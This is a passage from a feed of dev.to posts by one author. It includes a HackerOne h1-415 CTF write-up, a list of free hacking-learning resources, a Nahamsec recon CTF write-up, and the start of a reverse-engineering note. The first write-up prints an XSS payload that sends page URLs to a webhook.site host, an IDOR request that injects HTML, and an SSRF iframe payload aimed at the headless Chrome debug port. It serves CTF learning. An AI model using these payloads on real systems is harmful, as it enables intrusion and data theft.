&lt;p&gt;If you ran &lt;code&gt;showReviewModal()&lt;/code&gt; from your &lt;code&gt;dev console&lt;/code&gt; you would get a "Review" modal, where if given &lt;code&gt;1&lt;/code&gt; star you would receive the "We're sorry about that. Our team will review this conversation shortly." message - quick shout out to the &lt;a href="http://hacker101.com"&gt;hacker101 ctf&lt;/a&gt; there's a challenge just like this one there that helped us understand what was going on. &lt;/p&gt;

&lt;p&gt;If we included a payload here - it would fire once in our browser and again from the reviewer's side - interesting, we looked for a lot of stuff here, but the most important one was getting the current url of the browser:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;img&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;webhook.site/1234/img.png?url= + window.location.href
document.body.appendChild(image)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using this payload we were able to see this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://localhost:3000/support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Which if turned into: &lt;code&gt;https://h1-415.h1ctf.com//support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Would give us direct access to the review - the review page looked like:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HfoLTjJs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/i7151ni9szxksrs1n12n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HfoLTjJs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/i7151ni9szxksrs1n12n.png" alt="Alt Text" width="880" height="1105"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we got stuck, what could possibly be next?!&lt;/p&gt;

&lt;h3&gt;
  
  
  IDOR YOU
&lt;/h3&gt;

&lt;p&gt;We tested everything - and after many hours discovered an &lt;code&gt;IDOR&lt;/code&gt; that allowed us to change user's &lt;code&gt;name&lt;/code&gt; remember from before - the user's &lt;code&gt;name&lt;/code&gt; gets added to the final &lt;code&gt;pdf&lt;/code&gt; but we had tried to inject &lt;code&gt;html&lt;/code&gt; before using &lt;code&gt;/settings&lt;/code&gt; and it encoded everything correctly - maybe this &lt;code&gt;/review&lt;/code&gt; route is not encoding characters properly - so we tried it, we signed up for a new account - submitted the &lt;code&gt;/review&lt;/code&gt; form but with another user's &lt;code&gt;user_id&lt;/code&gt;, which can be found in the &lt;code&gt;/settings&lt;/code&gt; page as a hidden &lt;code&gt;input&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /support/review/6542aa9e862bae99ebff66ce40c3a01402e6ec1263d661d40c552d875a9102e0 HTTP/1.1
Host: h1-415.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Cookie: _csrf_token=71d2eed9870ab7ff665140ebd1a68391a57fd3ee; session=.eJw9y9EKwiAYhuF7-Y9HzK3p5lH3ESG_-kmrnEPtYEX33iDo8IXnfZNxJQdT0x0LaVLCd4CfRtWyVSFIOYhjC-sFy7GfBA8q-B6ghtyVK-nzpSFEnh_7fEsWuZ7i5pN7HVwqcXY7fBZkU7cVpLtfLRzx9_T5AvsNKzQ.XiahyQ.frH-NvIt1yzgFztKvF5RlR0c5ho

name=&amp;lt;img src=webhook.site/&amp;gt;&amp;amp;user_id=3&amp;amp;_csrf_token=71d2eed9870ab7ff665140ebd1a68391a57fd3ee
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This request allowed us to set the name of &lt;code&gt;user:3&lt;/code&gt; as &lt;code&gt;&amp;lt;img src=webhook.site/&amp;gt;&lt;/code&gt; which if everything worked would allow us to get more information about the backend - and it did. I also used &lt;a href=""&gt;@daekens ssrf tester&lt;/a&gt; which gave me this information:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Cool, so now we know that this pdf is being rendered by &lt;code&gt;HeadlessChrome&lt;/code&gt; - but now what? &lt;/p&gt;

&lt;h3&gt;
  
  
  I heard you like iFrames
&lt;/h3&gt;

&lt;p&gt;We can inject html markup and we know it'll be rendered &lt;code&gt;server-side&lt;/code&gt; and then displayed when we convert an image to a pdf, we also know that the application actually runs on &lt;code&gt;localhost:3000&lt;/code&gt; because the calls come back from there - so let's try to port scan and see if we can something else in there! &lt;/p&gt;

&lt;p&gt;We tried everything we could - yes even &lt;code&gt;localhost:1337&lt;/code&gt; and nothing was coming up, I was about to go to bed - after almost a week at it I was tiered and sleepy but &lt;a href="https://twitter.com/checkm50"&gt;@checkm50&lt;/a&gt; wouldn't let me give up, so we continue, I opened up google and searched for &lt;code&gt;headless chrome port&lt;/code&gt; if all fails - GOOGLE! &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--LOjqquEn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/08qmfud9edmny0kam9r4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--LOjqquEn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/08qmfud9edmny0kam9r4.png" alt="Alt Text" width="880" height="179"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And in there I found the following&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chrome &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--headless&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;                  &lt;span class="c"&gt;# Runs Chrome in headless mode.&lt;/span&gt;
  &lt;span class="nt"&gt;--disable-gpu&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;               &lt;span class="c"&gt;# Temporarily needed if running on Windows.&lt;/span&gt;
  &lt;span class="nt"&gt;--remote-debugging-port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;9222 &lt;span class="se"&gt;\&lt;/span&gt;
  https://www.chromestatus.com   &lt;span class="c"&gt;# URL to open. Defaults to about:blank.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I see a port number - so let's give it a go and receive we &lt;code&gt;Inspectable WebContents&lt;/code&gt; okay at least is not empty or forbidden - so I show this to &lt;code&gt;checkm50&lt;/code&gt; and he says to look at &lt;code&gt;/json&lt;/code&gt; so I used this as a payload:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;iframe src='http://localhost:9222/json' width=900 height=900&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Lzh7E6xQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/o42m3orqcf1qb65u0cy2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Lzh7E6xQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/o42m3orqcf1qb65u0cy2.png" alt="Alt Text" width="880" height="651"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In there you can see: &lt;code&gt;secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf"&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;That looks good - let's try to open it using the &lt;code&gt;/documents/&lt;/code&gt; endpoint:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://h1-415.h1ctf.com/documents/0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--o4er80FI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/urcm7s9nsz56p8h5lr0l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--o4er80FI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/urcm7s9nsz56p8h5lr0l.png" alt="Alt Text" width="880" height="739"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This was my reaction:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--7Bsbe4Ue--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/irj471ljpe63fjag3tzg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7Bsbe4Ue--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/irj471ljpe63fjag3tzg.png" alt="Alt Text" width="880" height="359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Thoughts
&lt;/h3&gt;

&lt;p&gt;Collaboration brings the best out in people, allowing others to hear your thoughts and bounce ideas is the reason why we solved this. It was hard and it pushed me to learn new things. I started last year using the &lt;a href="https://hacker101.com"&gt;hacker101 ctf&lt;/a&gt; and I'm so thankful I joined. If you want to learn signup and join us on &lt;a href="https://www.hacker101.com/discord"&gt;discord&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackerone</category>
      <category>ctf</category>
      <category>h1415</category>
    </item>
    <item>
      <title>hacking on a budget</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Tue, 21 Jan 2020 21:46:17 +0000</pubDate>
      <link>https://dev.to/pirateducky/hacking-on-a-budget-270d</link>
      <guid>https://dev.to/pirateducky/hacking-on-a-budget-270d</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2bd9I2f1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/iq0tirb77uodm598tj8l.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2bd9I2f1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/iq0tirb77uodm598tj8l.jpg" alt="Alt Text" width="540" height="377"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have all been there - specially when you start looking at some of the certs/courses out there like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.offensive-security.com/awae-oswe/"&gt;AWAE&lt;/a&gt;(USD 1400.00)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.offensive-security.com/pwk-oscp/"&gt;OSCP&lt;/a&gt; (USD 800.00)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.sans.org/course/web-app-penetration-testing-ethical-hacking"&gt;SANS&lt;/a&gt; (USD LOL)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And the list goes on, now are these good? sure if you can afford them or if your employer is paying for them, but what if you're in your 20s with a low paying job and a family? That cert could be your rent(it was for me).&lt;/p&gt;

&lt;p&gt;When I started wanting to learn how to hack I thought you needed to get the most up to date courses, and books and sometimes I felt like I couldn't do it, like it was out of my reach, but then I just started to learn online, reading blogposts and watching videos - now more than ever the material you need to learn to get your foot in the door is available for free thanks to all the awesome content creators out there.&lt;/p&gt;

&lt;p&gt;In this blog post I'll share a few of the resources that have helped me to get started on a budget. I'll be focusing on web application hacking since that's what I've been doing for about a year so I have managed to gather a ton of information about that. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Not exhaustive lists but should get you started, if it does not have a price - the resource is free.  &lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Web applications
&lt;/h3&gt;

&lt;p&gt;The number 1 thing when you want to learn about hacking web application is learning how web apps works, you don't have to be an expert but definitely understand how an application is put together, both frontend and backend. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/"&gt;MDN - Mozilla's Dev Network&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://frontendmasters.com/bootcamp/"&gt;Front-End Master's Bootcamp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.freecodecamp.org/"&gt;FreeCodeCamp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Report Writing
&lt;/h3&gt;

&lt;p&gt;Reports are a huge part of hacker's day to day activities, report writing should be something that yous stride to become good at, it could be the difference between getting paid for a report and your report being marked informational.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://10degres.net/how-to-write-a-bug-bounty-report/"&gt;Report Writing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.hackerone.com/programs/using-markdown.html"&gt;HackerOne Markdown&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackerone.com/reports/541169"&gt;Alex Chapman's Gitlab Report&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackerone.com/reports/513525"&gt;Dee-see's 50M Report&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Learn from reports
&lt;/h3&gt;

&lt;p&gt;If you aren't reading other researcher's disclosed reports - you are doing it wrong. I try to read at least 1 report a day and understand what the researcher found and the impact. Read good and bad reports so you know what works and what doesn't. You can find other resources but my go to is H1's hacktivity page. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hackerone.com/hacktivity"&gt;Hacktivity&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Books
&lt;/h3&gt;

&lt;p&gt;Reading is a big part of this, you have to be willing to read some pretty dry material, break it down into smaller more digestible pieces, my go to books are&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting-ebook/dp/B005LVQA9S"&gt;WAHH&lt;/a&gt;(USD $40.52)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886"&gt;Tnagled Web&lt;/a&gt; (USD $44.49)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://leanpub.com/web-hacking-101"&gt;Web Hacking 101&lt;/a&gt; (Free when you join H1)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Videos
&lt;/h3&gt;

&lt;p&gt;This one has been getting so much content lately, with creators like &lt;a href="https://twitter.com/NahamSec"&gt;@nahamsec&lt;/a&gt;, &lt;a href="https://twitter.com/stokfredrik"&gt;@stökfredrik&lt;/a&gt;, &lt;a href="https://twitter.com/thecybermentor"&gt;@thecybermentor&lt;/a&gt; &amp;amp; &lt;a href="https://twitter.com/InsiderPhD"&gt;@InsiderPhD&lt;/a&gt; putting out some 🔥 content. Here's a list of youtube channels to subscribe to.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/channel/UCCZDt7MuC3Hzs6IH4xODLBw"&gt;Nahamsec's YT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/channel/UCQN2DsjnYH60SFBIA6IkNwg"&gt;Stök's YT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/channel/UC0ArlFuFYMpEewyRBzdLHiw"&gt;TheCyberMentor's YT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/user/RapidBug"&gt;InsiderPhD's YT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/channel/UCk0f0svao7AKeK3RfiWxXEA"&gt;Jhaddix's YT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Practice
&lt;/h3&gt;

&lt;p&gt;You have all this knowledge - now what? you practice of course! It's 2020 you don't have to try to hack someone's site, or get in trouble - companies like &lt;a href="//hackerone.com"&gt;hackerone&lt;/a&gt; have created awesome resources for us to learn like &lt;a href="https://www.hacker101.com/"&gt;hacker101&lt;/a&gt; an ongoing CTF that rewards you with private invitations to programs that pay money. There's other CTFs that work but this one gives you an incentive to keep going, and the community is awesome.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.hacker101.com/"&gt;hacker101 CTF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://discordapp.com/invite/32ZNZVN"&gt;hacker101 Discord&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.root-me.org/"&gt;rootme&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/weev3/LKWA"&gt;lkwa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://pentesterlab.com/"&gt;pentesterlab&lt;/a&gt; (USD $20/monthly)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://portswigger.net/web-security"&gt;Portswigger Academy&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Free but you need burp pro for some exercises, still really good resource.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Newsletters/blogs
&lt;/h3&gt;

&lt;p&gt;Some stuff I subscribe to that might interest you&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pentester.land/"&gt;pentesterland&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://spaceraccoon.dev/"&gt;spaceraccoon's blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.pentesterlab.com/"&gt;pentesterlab blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@vickieli"&gt;Vickie Li's blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sharing knowledge is a hacker's way of giving back, is how we interact with one another and make friends, if this helped you please share it so others can have access to the information. &lt;/p&gt;

</description>
      <category>hacking</category>
      <category>broke</category>
      <category>free</category>
    </item>
    <item>
      <title>Nahamsec's 30K CTF</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Thu, 16 Jan 2020 05:54:42 +0000</pubDate>
      <link>https://dev.to/pirateducky/nahamsec-s-ctf-552c</link>
      <guid>https://dev.to/pirateducky/nahamsec-s-ctf-552c</guid>
      <description>&lt;p&gt;&lt;strong&gt;tldr:&lt;/strong&gt; The CTF was hosted at &lt;code&gt;nahamsec.net&lt;/code&gt;, there were some credentials leaked in &lt;a href="https://github.com/garagosy/nahamsecCTF2020" rel="noopener noreferrer"&gt;this repo&lt;/a&gt; which also disclosed the &lt;code&gt;/swagger&lt;/code&gt; endpoint, using &lt;a href="https://github.com/Edu4rdSHL/findomain" rel="noopener noreferrer"&gt;findomain&lt;/a&gt; I was able to get the subdomain &lt;code&gt;api-admin.nahamsec.net&lt;/code&gt; which had a &lt;code&gt;swagger&lt;/code&gt; instance running with a &lt;code&gt;/api/getflag&lt;/code&gt; endpoint which accepted the username &amp;amp; password we found and gave us the flag. &lt;/p&gt;

&lt;h3&gt;
  
  
  Rules
&lt;/h3&gt;

&lt;p&gt;Everything needed to complete the CTF was given in the &lt;a href="https://www.nahamsec.com/posts/shall-we-play-a-game" rel="noopener noreferrer"&gt;blogpost&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No cheating or sharing answers&lt;/li&gt;
&lt;li&gt;Nahamsec.com / Nahamsec.dev or any of the boxes I have used during my streams are not used for this CTF. &lt;/li&gt;
&lt;li&gt;This is a recon CTF! Think recon and check out the tips or ideas I have shared while streaming for inspo. &lt;/li&gt;
&lt;li&gt;Please don’t ask for help or hint on Twitter. If I have anything to share, they’ll be posted directly on my Twitter so it’s fair and available for everyone.&lt;/li&gt;
&lt;li&gt;If you want to solve this to become a part of my mentorship program, send your submissions in with “[NMP]” in the beginning of the title. (i.e.: [NMP] Recon Submission)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Full Report
&lt;/h3&gt;

&lt;p&gt;The image in the &lt;a href="https://www.nahamsec.com/posts/shall-we-play-a-game" rel="noopener noreferrer"&gt;blog&lt;/a&gt; was being loaded from a different domain: &lt;code&gt;nahamsec.net&lt;/code&gt;. I did a google search for &lt;code&gt;site:nahamsec.net&lt;/code&gt; and noticed the title said &lt;code&gt;Welcome To Nahamsec Giveaway CTF&lt;/code&gt;. After this I also did the same in &lt;code&gt;GitHub&lt;/code&gt;, the search query was &lt;code&gt;search?q="nahamsec.net"&lt;/code&gt; which took me to &lt;code&gt;https://github.com/garagosy/nahamsecCTF2020&lt;/code&gt; a repo that got uploaded recently with some interesting information ;) it's important to note this from the CTF announcement "Also, a big thank you to...Yasser Ali" who is the owner of the mentioned &lt;code&gt;GitHub&lt;/code&gt; repo. &lt;/p&gt;

&lt;p&gt;After having this information I looked for subdomains and found:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# used findomain to find the subdomains&lt;/span&gt;
api-admin.nahamsec.net
30kftw.nahamsec.net
api-dev.nahamsec.net
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The one subdomain that stood out was &lt;code&gt;api-admin&lt;/code&gt; but I wanted to look at all of them to cover the bases, from the &lt;code&gt;GitHub&lt;/code&gt; repo above I knew there would be a &lt;code&gt;swagger&lt;/code&gt; instance, which makes sense since Nahamsec has talked about how he likes seeing those, I tried the &lt;code&gt;/swagger&lt;/code&gt; route on the 3 subdomains I found and the only one to give me a response back was &lt;code&gt;api-admin.nahamsec.net&lt;/code&gt; so now I can see a &lt;code&gt;swagger&lt;/code&gt; UI. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fycgioecgf706xk8lc2u1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fycgioecgf706xk8lc2u1.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cool now we have can see 2 routes: &lt;code&gt;/api/getFlag&lt;/code&gt; &amp;amp; &lt;code&gt;/api/tokens&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/api/getFlag&lt;/code&gt; route looks like it's a post request, so I tried to do &lt;code&gt;execute&lt;/code&gt; from within the &lt;code&gt;swagger ui&lt;/code&gt; but it gives me a &lt;code&gt;500&lt;/code&gt; error, so then I go straight to the route &lt;code&gt;api-admin.nahamsec.net/api/getFlag&lt;/code&gt; and get an http &lt;code&gt;username &amp;amp; password&lt;/code&gt; prompt - hmm let's try the credentials from the &lt;code&gt;GitHub&lt;/code&gt; repo:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F9ch4dwskfgpdd0jv6l2j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F9ch4dwskfgpdd0jv6l2j.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the response: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fk36iabdoefhdv5yz36yp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fk36iabdoefhdv5yz36yp.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I stopped here and sent an email to the email included in the response.&lt;/p&gt;

&lt;p&gt;After going back and trying to hit the token route I received the following &lt;code&gt;JWT&lt;/code&gt; - I forgot to check this route after using the username/password.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# response from `/api/token`&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"duration"&lt;/span&gt;: 600, 
  &lt;span class="s2"&gt;"token"&lt;/span&gt;: &lt;span class="s2"&gt;"eyJhbGciOiJIUzI1NiIsImV4cCI6MTU3ODc3ODA4NiwiaWF0IjoxNTc4Nzc3NDg2fQ.eyJpZCI6Mn0.Bk1enMme_sQlEdWoMizDAFJwK8HEaVgubk9nVbz-Was"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Thoughts&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I had a lot of fun, finding the smallest things that looked off, like the CTF image coming from &lt;code&gt;nahamsec.net&lt;/code&gt; and then looking in &lt;code&gt;GitHub&lt;/code&gt; for anything related to that domain (shout out to &lt;a href="https://twitter.com/Jhaddix" rel="noopener noreferrer"&gt;@jhaddix&lt;/a&gt; I watched his latest stream and he did some github dorking), the rest are usual steps that Nahamsec has done in his streams and presentations like subdomain enumeration and directory bruteforcing (once I found the &lt;code&gt;GitHub&lt;/code&gt; repo I focused on swagger stuff). It was really cool seeing that everything I learned this past year can be used and applied. I hope everyone else had as much fun as I did!&lt;/p&gt;

&lt;h3&gt;
  
  
  Resources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/channel/UCk0f0svao7AKeK3RfiWxXEA" rel="noopener noreferrer"&gt;Jhaddix's YouTube Channel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Edu4rdSHL/findomain" rel="noopener noreferrer"&gt;Findomain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Google_hacking" rel="noopener noreferrer"&gt;Google Dorking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.google.com/presentation/d/1xgvEScGZ_ukNY0rmfKz1JN0sn-CgZY_rTp2B_SZvijk/edit#slide=id.g4052c4692d_0_0" rel="noopener noreferrer"&gt;It's the Little Things&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>hacking</category>
      <category>ctf</category>
      <category>nahamsec</category>
    </item>
    <item>
      <title>RE Week 2</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Mon, 28 Oct 2019 02:14:01 +0000</pubDate>
      <link>https://dev.to/pirateducky/re-week-2-316d</link>
      <guid>https://dev.to/pirateducky/re-week-2-316d</guid>
      <description>&lt;p&gt;This has been week #2 learning reverse engineering, this time I've gone over some basics:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The call stack

&lt;ul&gt;
&lt;li&gt;What is it? How does it work?&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Assembly

&lt;ul&gt;
&lt;li&gt;Learning more about assembly x86&lt;/li&gt;
&lt;li&gt;How does assembly work&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

